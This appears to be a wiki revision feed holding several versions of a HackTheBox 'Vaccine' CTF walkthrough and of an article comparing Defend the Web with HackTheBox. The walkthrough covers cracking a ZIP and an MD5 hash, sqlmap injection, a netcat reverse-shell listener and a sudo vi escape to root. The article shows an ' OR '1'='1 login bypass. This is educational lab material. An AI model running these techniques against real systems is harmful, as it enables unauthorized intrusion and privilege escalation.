Execute the payload and gain shell access.&lt;br /&gt;
&lt;br /&gt;
=== Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
Search for misconfigurations and sensitive files, for example SUID binaries:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
find / -perm -4000 -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Analyze sudo permissions:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo -l&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Key finding: The &#039;&#039;&#039;vi&#039;&#039;&#039; binary can be run with sudo.&lt;br /&gt;
&lt;br /&gt;
Refer to [[https://gtfobins.github.io/ GTFOBins]] for escape techniques.&lt;br /&gt;
&lt;br /&gt;
Launch vi as sudo:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo vi&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Escape to a root shell:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vi&amp;quot;&amp;gt;&lt;br /&gt;
:! /bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Verify root access and retrieve the flag:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
whoami&lt;br /&gt;
cat /root/root.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
The Vaccine machine demonstrates essential techniques for penetration testing:&lt;br /&gt;
&lt;br /&gt;
* Service enumeration.&lt;br /&gt;
* Password cracking with John the Ripper.&lt;br /&gt;
* SQL injection exploitation with SQLMap.&lt;br /&gt;
* Privilege escalation using sudo misconfigurations and GTFOBins.&lt;br /&gt;
&lt;br /&gt;
These skills are foundational for understanding system vulnerabilities and exploitation methods.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://hackthebox.com&lt;br /&gt;
* https://revshells.com&lt;br /&gt;
* https://gtfobins.github.io/&lt;br /&gt;
* https://nmap.org/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=HackTheBox:_Vaccine_Room&amp;diff=17705</id>
		<title>HackTheBox: Vaccine Room</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=HackTheBox:_Vaccine_Room&amp;diff=17705"/>
		<updated>2024-12-18T22:19:00Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Vaccine is an Easy-level machine on the HackTheBox platform, designed to introduce participants to the basics of web application security, exploitation, and privilege escalation. It is an excellent starting point for beginners who want to improve their penetration testing skills and understand common web vulnerabilities in a controlled environment.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Objectives ==&lt;br /&gt;
&lt;br /&gt;
The main objectives of the Vaccine room are:&lt;br /&gt;
&lt;br /&gt;
1. Identify and exploit vulnerabilities in a web application.&lt;br /&gt;
&lt;br /&gt;
2. Gain initial foothold through web exploitation techniques.&lt;br /&gt;
&lt;br /&gt;
3. Escalate privileges to root access by analyzing misconfigurations or vulnerabilities in the system. &lt;br /&gt;
&lt;br /&gt;
== Tools and Techniques ==&lt;br /&gt;
&lt;br /&gt;
Participants may use a variety of tools to complete this room, including:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Reconnaissance tools&#039;&#039;&#039;: nmap, gobuster, dirb.&lt;br /&gt;
* &#039;&#039;&#039;Exploitation tools&#039;&#039;&#039;: Burp Suite, Metasploit (if needed), or manual payload crafting.&lt;br /&gt;
* &#039;&#039;&#039;Post-exploitation tools&#039;&#039;&#039;: linpeas, pspy, or custom scripts for local privilege escalation.&lt;br /&gt;
&lt;br /&gt;
Following techniques will be required:&lt;br /&gt;
&lt;br /&gt;
* Web application vulnerability analysis.&lt;br /&gt;
* Exploiting common misconfigurations.&lt;br /&gt;
* Utilizing tools for enumeration and exploitation.&lt;br /&gt;
* Privilege escalation techniques.&lt;br /&gt;
&lt;br /&gt;
== Walkthrough ==&lt;br /&gt;
&lt;br /&gt;
=== Reconnaissance &amp;amp; Enumeration ===&lt;br /&gt;
The first step involves scanning the target machine with nmap (nmap -sV -p &amp;lt;Target IP&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Open ports&#039;&#039;&#039;: FTP (21), SSH (22), and HTTP (80).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;FTP&#039;&#039;&#039;: Configured to allow anonymous login.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;HTTP&#039;&#039;&#039;: Running Apache HTTPD.&lt;br /&gt;
&lt;br /&gt;
By identifying open services, we determine possible attack vectors.&lt;br /&gt;
&lt;br /&gt;
=== Exploitation ===&lt;br /&gt;
&lt;br /&gt;
Using the FTP service with the anonymous login, we retrieve a file named backup.zip.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ftp &amp;lt;target-ip&amp;gt;&lt;br /&gt;
Username: anonymous&lt;br /&gt;
Password: (any)&lt;br /&gt;
ftp&amp;gt; get backup.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The ZIP file is password-protected. We use zip2john to generate a hash and John the Ripper to crack it.&lt;br /&gt;
&lt;br /&gt;
Convert the ZIP to a crackable hash:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
zip2john backup.zip &amp;gt; backup.hash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Crack the hash using rockyou.txt:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
john backup.hash --wordlist=/usr/share/wordlists/rockyou.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Password found: &#039;&#039;&#039;741852963&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Extract files:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
unzip backup.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Inside the ZIP, we find a PHP file (index.php). Analyzing its code reveals an MD5 hash used for login validation.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
if ($username === &amp;quot;admin&amp;quot; &amp;amp;&amp;amp; md5($password) === &amp;quot;&amp;lt;md5_hash&amp;gt;&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We use Hashcat or online tools like CrackStation to crack the hash.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hashcat -m 0 &amp;lt;md5_hash&amp;gt; /usr/share/wordlists/rockyou.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Password found: &#039;&#039;&#039;qwerty789&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The web application is vulnerable to SQL injection. Testing with a single quote (&#039;) returns an error, confirming the vulnerability. Using SQLMap, we automate the exploitation:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sqlmap -u &amp;quot;http://vaccine.htb/?search=&amp;quot; --dbs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Outcome: Identified databases and extracted data.&lt;br /&gt;
&lt;br /&gt;
=== Post-Exploitation ===&lt;br /&gt;
&lt;br /&gt;
Create a reverse shell payload using tools like [[https://revshells.com revshells.com]].&lt;br /&gt;
&lt;br /&gt;
Inject the payload into the SQL query or upload it via file inclusion.&lt;br /&gt;
&lt;br /&gt;
Set up a listener:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -nlvp 1337&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Execute the payload and gain shell access.&lt;br /&gt;
&lt;br /&gt;
=== Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
Search for misconfigurations and sensitive files, for example SUID binaries:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
find / -perm -4000 -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Analyze sudo permissions:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo -l&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Key finding: The &#039;&#039;&#039;vi&#039;&#039;&#039; binary can be run with sudo.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Capture the Flag ===&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://hackthebox.com&lt;br /&gt;
* https://revshells.com&lt;br /&gt;
* https://gtfobins.com&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=HackTheBox:_Vaccine_Room&amp;diff=17703</id>
		<title>HackTheBox: Vaccine Room</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=HackTheBox:_Vaccine_Room&amp;diff=17703"/>
		<updated>2024-12-18T21:41:23Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: Created page with &amp;quot;Vaccine is an Easy-level machine on the HackTheBox platform, designed to introduce participants to the basics of web application security, exploitation, and privilege escalation. It is an excellent starting point for beginners who want to improve their penetration testing skills and understand common web vulnerabilities in a controlled environment.   == Objectives ==  The main objectives of the Vaccine room are:  1. Identify and exploit vulnerabilities in a web applicati...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Vaccine is an Easy-level machine on the HackTheBox platform, designed to introduce participants to the basics of web application security, exploitation, and privilege escalation. It is an excellent starting point for beginners who want to improve their penetration testing skills and understand common web vulnerabilities in a controlled environment.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Objectives ==&lt;br /&gt;
&lt;br /&gt;
The main objectives of the Vaccine room are:&lt;br /&gt;
&lt;br /&gt;
1. Identify and exploit vulnerabilities in a web application.&lt;br /&gt;
&lt;br /&gt;
2. Gain initial foothold through web exploitation techniques.&lt;br /&gt;
&lt;br /&gt;
3. Escalate privileges to root access by analyzing misconfigurations or vulnerabilities in the system. &lt;br /&gt;
&lt;br /&gt;
== Tools and Techniques ==&lt;br /&gt;
&lt;br /&gt;
Participants may use a variety of tools to complete this room, including:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Reconnaissance tools&#039;&#039;&#039;: nmap, gobuster, dirb.&lt;br /&gt;
* &#039;&#039;&#039;Exploitation tools&#039;&#039;&#039;: Burp Suite, Metasploit (if needed), or manual payload crafting.&lt;br /&gt;
* &#039;&#039;&#039;Post-exploitation tools&#039;&#039;&#039;: linpeas, pspy, or custom scripts for local privilege escalation.&lt;br /&gt;
&lt;br /&gt;
Following techniques will be required:&lt;br /&gt;
&lt;br /&gt;
* Web application vulnerability analysis.&lt;br /&gt;
* Exploiting common misconfigurations.&lt;br /&gt;
* Utilizing tools for enumeration and exploitation.&lt;br /&gt;
* Privilege escalation techniques.&lt;br /&gt;
&lt;br /&gt;
== Walkthrough ==&lt;br /&gt;
&lt;br /&gt;
=== Reconnaissance ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Enumeration ===&lt;br /&gt;
&lt;br /&gt;
=== Exploitation ===&lt;br /&gt;
&lt;br /&gt;
=== Post-Exploitation ===&lt;br /&gt;
&lt;br /&gt;
=== Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
=== Capture the Flag ===&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wikipedia.org&lt;br /&gt;
* https://google.com&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17702</id>
		<title>Defend the Web vs. HackTheBox</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17702"/>
		<updated>2024-12-18T21:24:20Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:DefendTheWeb.png|thumb|Logo of Defend the Web]]&lt;br /&gt;
[[File:HackTheBoxLogo.png|thumb|Logo of HackTheBox]]&lt;br /&gt;
== Introduction ==&lt;br /&gt;
The increasing number of cyberattacks in today&#039;s interconnected world highlights the urgent need for skilled cybersecurity professionals. With data breaches, ransomware, and other cybercrimes on the rise, organizations must prioritize robust security measures. Ethical hacking, or white-hat hacking, has become a cornerstone of modern cybersecurity, empowering professionals to identify and mitigate vulnerabilities before they are exploited by malicious actors.&lt;br /&gt;
&lt;br /&gt;
Platforms like Defend the Web (DtW) and HackTheBox (HtB) have gained prominence as practical training tools in cybersecurity. These platforms simulate real-world attack scenarios, offering users the opportunity to hone their skills in a controlled environment. While both platforms aim to enhance cybersecurity expertise, they differ in approach, focus, and target audience. This article provides a comprehensive analysis of DtW and HtB, examining their unique features and contributions to the field of ethical hacking.&lt;br /&gt;
&lt;br /&gt;
== Background Information ==&lt;br /&gt;
&lt;br /&gt;
=== Webapplication Security ===&lt;br /&gt;
&lt;br /&gt;
Web applications are integral to modern businesses, enabling e-commerce, online banking, and enterprise collaboration. However, their widespread use makes them prime targets for cyberattacks. Common vulnerabilities such as SQL Injection (SQLi), Cross-Site Scripting (XSS), and Cross-Site Request Forgery (CSRF) pose significant threats to sensitive data and system integrity.&lt;br /&gt;
&lt;br /&gt;
Ethical hacking platforms like DtW and HtB play a crucial role in strengthening web application security. By providing hands-on training in identifying and mitigating vulnerabilities, these platforms bridge the gap between theoretical knowledge and practical application.&lt;br /&gt;
&lt;br /&gt;
=== Penetration Testing ===&lt;br /&gt;
&lt;br /&gt;
Penetration testing, or pentesting, is a methodology for assessing system security by simulating real-world attacks. It involves identifying vulnerabilities, evaluating their potential impact, and recommending corrective actions. Key principles of web application security include:&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Authentication&#039;&#039;&#039;: Verifying user identities.&lt;br /&gt;
*&#039;&#039;&#039;Authorization&#039;&#039;&#039;: Managing user permissions.&lt;br /&gt;
*&#039;&#039;&#039;Confidentiality, Integrity, and Availability (CIA Triad)&#039;&#039;&#039;: Ensuring data protection, accuracy, and accessibility.&lt;br /&gt;
&lt;br /&gt;
These principles are foundational to ethical hacking and are actively explored in DtW and HtB.&lt;br /&gt;
&lt;br /&gt;
== Overview of the Platforms ==&lt;br /&gt;
&lt;br /&gt;
=== Defend the Web ===&lt;br /&gt;
&lt;br /&gt;
Defend the Web is an interactive learning platform designed for beginners and intermediate users. It focuses on web application security, offering challenges that cover fundamental concepts such as HTML, SQL Injection, and encryption. The platform provides a structured, step-by-step learning approach, making it an ideal starting point for those new to cybersecurity.&lt;br /&gt;
&lt;br /&gt;
Key features of DtW include:&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Beginner-Friendly Challenges&#039;&#039;&#039;: Covers basic to intermediate topics.&lt;br /&gt;
*&#039;&#039;&#039;Focus on Education&#039;&#039;&#039;: Emphasizes understanding vulnerabilities and implementing defenses.&lt;br /&gt;
*&#039;&#039;&#039;Community Support&#039;&#039;&#039;: Small but engaged community providing guidance.&lt;br /&gt;
&lt;br /&gt;
The platform&#039;s primary goal is to promote responsible cybersecurity practices, enabling users to secure systems and contribute to a safer internet.&lt;br /&gt;
&lt;br /&gt;
=== HackTheBox ===&lt;br /&gt;
&lt;br /&gt;
HackTheBox caters to a more advanced audience, including cybersecurity professionals and enthusiasts seeking challenging, real-world scenarios. Known for its gamified environment, HtB offers a broad range of topics, including:&lt;br /&gt;
&lt;br /&gt;
*Web exploitation&lt;br /&gt;
*Cryptography&lt;br /&gt;
*Reverse engineering&lt;br /&gt;
*Privilege escalation&lt;br /&gt;
&lt;br /&gt;
Notable features of HtB are:&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Proving Grounds&#039;&#039;&#039;: Real-world lab simulations for enterprise-level environments.&lt;br /&gt;
*&#039;&#039;&#039;Gamification&#039;&#039;&#039;: Leaderboards, badges, and competitive challenges.&lt;br /&gt;
*&#039;&#039;&#039;Active Community&#039;&#039;&#039;: Extensive forums and Discord channels for collaboration.&lt;br /&gt;
&lt;br /&gt;
HtB also provides certifications like the HackTheBox Certified Penetration Testing Specialist (CPTS), further solidifying its role as a comprehensive training resource.&lt;br /&gt;
&lt;br /&gt;
== Comparison Criteria ==&lt;br /&gt;
&lt;br /&gt;
The following sections explore key aspects of DtW and HtB, highlighting their differences and unique contributions.&lt;br /&gt;
&lt;br /&gt;
===Target Audience===&lt;br /&gt;
DtW primarily serves beginners and intermediate users, providing an accessible entry point into ethical hacking. Its structured approach appeals to students and enthusiasts seeking to build foundational knowledge.&lt;br /&gt;
&lt;br /&gt;
HtB, on the other hand, targets advanced users, including penetration testers, red teamers, and cybersecurity professionals. Its challenging scenarios and broad subject matter cater to those seeking to deepen their expertise.&lt;br /&gt;
&lt;br /&gt;
===Learning Approach===&lt;br /&gt;
DtW offers a linear, guided learning experience. Users progress through clearly defined challenges, building their knowledge step by step. This structured approach is ideal for beginners.&lt;br /&gt;
&lt;br /&gt;
HtB adopts a self-directed approach, encouraging users to solve problems independently. While walkthroughs are available, the platform emphasizes creativity, research, and trial-and-error learning. This makes it well-suited for experienced users.&lt;br /&gt;
&lt;br /&gt;
===Challenge Variety===&lt;br /&gt;
DtW focuses on web application security, with challenges covering essential topics like SQL Injection, XSS, and password encryption.&lt;br /&gt;
&lt;br /&gt;
HtB offers a broader range of challenges, including network penetration, reverse engineering, and cryptography. Its virtual labs simulate complex corporate environments, providing a comprehensive learning experience.&lt;br /&gt;
&lt;br /&gt;
===Difficulty Level===&lt;br /&gt;
DtW features beginner-friendly challenges with a gradual increase in complexity. In contrast, HtB is renowned for its advanced challenges, which can be overwhelming for newcomers but rewarding for seasoned professionals.&lt;br /&gt;
&lt;br /&gt;
===User-Friendliness and Interface===&lt;br /&gt;
DtW excels in simplicity and user-friendliness, with an intuitive interface that makes navigation easy for inexperienced users. HtB, while visually appealing, may be daunting for beginners due to its advanced functionality.&lt;br /&gt;
&lt;br /&gt;
===Community and Support===&lt;br /&gt;
DtW’s community is small but supportive, fostering a welcoming environment for learners. HtB boasts a large, active community that facilitates knowledge sharing, collaboration, and competition.&lt;br /&gt;
&lt;br /&gt;
===Gamification and Reward System===&lt;br /&gt;
Both platforms leverage gamification to engage users. DtW uses points and badges to motivate participants, while HtB offers a more sophisticated system with leaderboards and global rankings.&lt;br /&gt;
&lt;br /&gt;
===Cost Structure===&lt;br /&gt;
DtW is mostly free, with optional paid features for advanced content. HtB offers a mix of free and premium content, with paid subscriptions required for advanced labs and certifications.&lt;br /&gt;
&lt;br /&gt;
== SQL-Injection: A Case Study ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection (SQLi) remains a pervasive cybersecurity threat, allowing attackers to manipulate databases by injecting malicious SQL commands. It ranks among the OWASP Top 10 vulnerabilities due to its simplicity and impact.&lt;br /&gt;
&lt;br /&gt;
=== How SQL-Injection works ===&lt;br /&gt;
&lt;br /&gt;
SQLi exploits improper input validation to alter the structure of SQL queries. For example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
SELECT * FROM users WHERE username = &#039;user&#039; AND password = &#039;password&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
An attacker might input:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
&#039; OR &#039;1&#039;=&#039;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This changes the query to:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
SELECT * FROM users WHERE username = &#039;&#039; OR &#039;1&#039;=&#039;1&#039; AND password = &#039;password&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The condition &#039;1&#039;=&#039;1&#039; always evaluates as true, bypassing authentication.&lt;br /&gt;
&lt;br /&gt;
=== Types of SQL-Injection ===&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;In-Band SQLi&#039;&#039;&#039;: Uses the same channel for attack and data retrieval.&lt;br /&gt;
*&#039;&#039;&#039;Blind SQLi&#039;&#039;&#039;: Infers information through application behavior or response times.&lt;br /&gt;
*&#039;&#039;&#039;Stored SQLi&#039;&#039;&#039;: Embeds malicious SQL code in the database for later execution.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Methods ===&lt;br /&gt;
&lt;br /&gt;
*Input validation and sanitization.&lt;br /&gt;
*Parameterized queries and prepared statements.&lt;br /&gt;
*Least privilege principles for database access.&lt;br /&gt;
*Web application firewalls (WAFs).&lt;br /&gt;
*Regular security audits and updates.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Defend the Web and HackTheBox offer complementary approaches to ethical hacking training. DtW provides an excellent starting point for beginners, focusing on foundational knowledge and accessibility. HtB challenges advanced users with complex scenarios and broad subject matter.&lt;br /&gt;
&lt;br /&gt;
Integrating both platforms in a learning pathway—starting with DtW and progressing to HtB—enables learners to build a robust skillset, addressing the growing demand for cybersecurity expertise in an evolving threat landscape.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://defendtheweb.net&lt;br /&gt;
* https://owasp.org/www-project-top-ten/&lt;br /&gt;
* https://www.hackthebox.com&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17701</id>
		<title>Defend the Web vs. HackTheBox</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17701"/>
		<updated>2024-12-18T21:22:11Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:DefendTheWeb.png|thumb|Logo of Defend the Web]]&lt;br /&gt;
[[File:HackTheBoxLogo.png|thumb|Logo of HackTheBox]]&lt;br /&gt;
== Introduction ==&lt;br /&gt;
The increasing number of cyberattacks in today&#039;s interconnected world highlights the urgent need for skilled cybersecurity professionals. With data breaches, ransomware, and other cybercrimes on the rise, organizations must prioritize robust security measures. Ethical hacking, or white-hat hacking, has become a cornerstone of modern cybersecurity, empowering professionals to identify and mitigate vulnerabilities before they are exploited by malicious actors.&lt;br /&gt;
&lt;br /&gt;
Platforms like Defend the Web (DtW) and HackTheBox (HtB) have gained prominence as practical training tools in cybersecurity. These platforms simulate real-world attack scenarios, offering users the opportunity to hone their skills in a controlled environment. While both platforms aim to enhance cybersecurity expertise, they differ in approach, focus, and target audience. This article provides a comprehensive analysis of DtW and HtB, examining their unique features and contributions to the field of ethical hacking.&lt;br /&gt;
&lt;br /&gt;
== Background Information ==&lt;br /&gt;
&lt;br /&gt;
=== Webapplication Security ===&lt;br /&gt;
&lt;br /&gt;
Web applications are integral to modern businesses, enabling e-commerce, online banking, and enterprise collaboration. However, their widespread use makes them prime targets for cyberattacks. Common vulnerabilities such as SQL Injection (SQLi), Cross-Site Scripting (XSS), and Cross-Site Request Forgery (CSRF) pose significant threats to sensitive data and system integrity.&lt;br /&gt;
&lt;br /&gt;
Ethical hacking platforms like DtW and HtB play a crucial role in strengthening web application security. By providing hands-on training in identifying and mitigating vulnerabilities, these platforms bridge the gap between theoretical knowledge and practical application.&lt;br /&gt;
&lt;br /&gt;
=== Penetration Testing ===&lt;br /&gt;
&lt;br /&gt;
Penetration testing, or pentesting, is a methodology for assessing system security by simulating real-world attacks. It involves identifying vulnerabilities, evaluating their potential impact, and recommending corrective actions. Key principles of web application security include:&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Authentication&#039;&#039;&#039;: Verifying user identities.&lt;br /&gt;
*&#039;&#039;&#039;Authorization&#039;&#039;&#039;: Managing user permissions.&lt;br /&gt;
*&#039;&#039;&#039;Confidentiality, Integrity, and Availability (CIA Triad)&#039;&#039;&#039;: Ensuring data protection, accuracy, and accessibility.&lt;br /&gt;
&lt;br /&gt;
These principles are foundational to ethical hacking and are actively explored in DtW and HtB.&lt;br /&gt;
&lt;br /&gt;
== Overview of the Platforms ==&lt;br /&gt;
&lt;br /&gt;
=== Defend the Web ===&lt;br /&gt;
&lt;br /&gt;
Defend the Web is an interactive learning platform designed for beginners and intermediate users. It focuses on web application security, offering challenges that cover fundamental concepts such as HTML, SQL Injection, and encryption. The platform provides a structured, step-by-step learning approach, making it an ideal starting point for those new to cybersecurity.&lt;br /&gt;
&lt;br /&gt;
Key features of DtW include:&lt;br /&gt;
&lt;br /&gt;
*Beginner-Friendly Challenges: Covers basic to intermediate topics.&lt;br /&gt;
*Focus on Education: Emphasizes understanding vulnerabilities and implementing defenses.&lt;br /&gt;
*Community Support: Small but engaged community providing guidance.&lt;br /&gt;
&lt;br /&gt;
The platform&#039;s primary goal is to promote responsible cybersecurity practices, enabling users to secure systems and contribute to a safer internet.&lt;br /&gt;
&lt;br /&gt;
=== HackTheBox ===&lt;br /&gt;
&lt;br /&gt;
HackTheBox caters to a more advanced audience, including cybersecurity professionals and enthusiasts seeking challenging, real-world scenarios. Known for its gamified environment, HtB offers a broad range of topics, including:&lt;br /&gt;
&lt;br /&gt;
*Web exploitation&lt;br /&gt;
*Cryptography&lt;br /&gt;
*Reverse engineering&lt;br /&gt;
*Privilege escalation&lt;br /&gt;
&lt;br /&gt;
Notable features of HtB are:&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Proving Grounds&#039;&#039;&#039;: Real-world lab simulations for enterprise-level environments.&lt;br /&gt;
*&#039;&#039;&#039;Gamification&#039;&#039;&#039;: Leaderboards, badges, and competitive challenges.&lt;br /&gt;
*&#039;&#039;&#039;Active Community&#039;&#039;&#039;: Extensive forums and Discord channels for collaboration.&lt;br /&gt;
&lt;br /&gt;
HtB also provides certifications like the HackTheBox Certified Penetration Testing Specialist (CPTS), further solidifying its role as a comprehensive training resource.&lt;br /&gt;
&lt;br /&gt;
== Comparison Criteria ==&lt;br /&gt;
&lt;br /&gt;
The following sections explore key aspects of DtW and HtB, highlighting their differences and unique contributions.&lt;br /&gt;
&lt;br /&gt;
===Target Audience===&lt;br /&gt;
DtW primarily serves beginners and intermediate users, providing an accessible entry point into ethical hacking. Its structured approach appeals to students and enthusiasts seeking to build foundational knowledge.&lt;br /&gt;
&lt;br /&gt;
HtB, on the other hand, targets advanced users, including penetration testers, red teamers, and cybersecurity professionals. Its challenging scenarios and broad subject matter cater to those seeking to deepen their expertise.&lt;br /&gt;
&lt;br /&gt;
===Learning Approach===&lt;br /&gt;
DtW offers a linear, guided learning experience. Users progress through clearly defined challenges, building their knowledge step by step. This structured approach is ideal for beginners.&lt;br /&gt;
&lt;br /&gt;
HtB adopts a self-directed approach, encouraging users to solve problems independently. While walkthroughs are available, the platform emphasizes creativity, research, and trial-and-error learning. This makes it well-suited for experienced users.&lt;br /&gt;
&lt;br /&gt;
===Challenge Variety===&lt;br /&gt;
DtW focuses on web application security, with challenges covering essential topics like SQL Injection, XSS, and password encryption.&lt;br /&gt;
&lt;br /&gt;
HtB offers a broader range of challenges, including network penetration, reverse engineering, and cryptography. Its virtual labs simulate complex corporate environments, providing a comprehensive learning experience.&lt;br /&gt;
&lt;br /&gt;
===Difficulty Level===&lt;br /&gt;
DtW features beginner-friendly challenges with a gradual increase in complexity. In contrast, HtB is renowned for its advanced challenges, which can be overwhelming for newcomers but rewarding for seasoned professionals.&lt;br /&gt;
&lt;br /&gt;
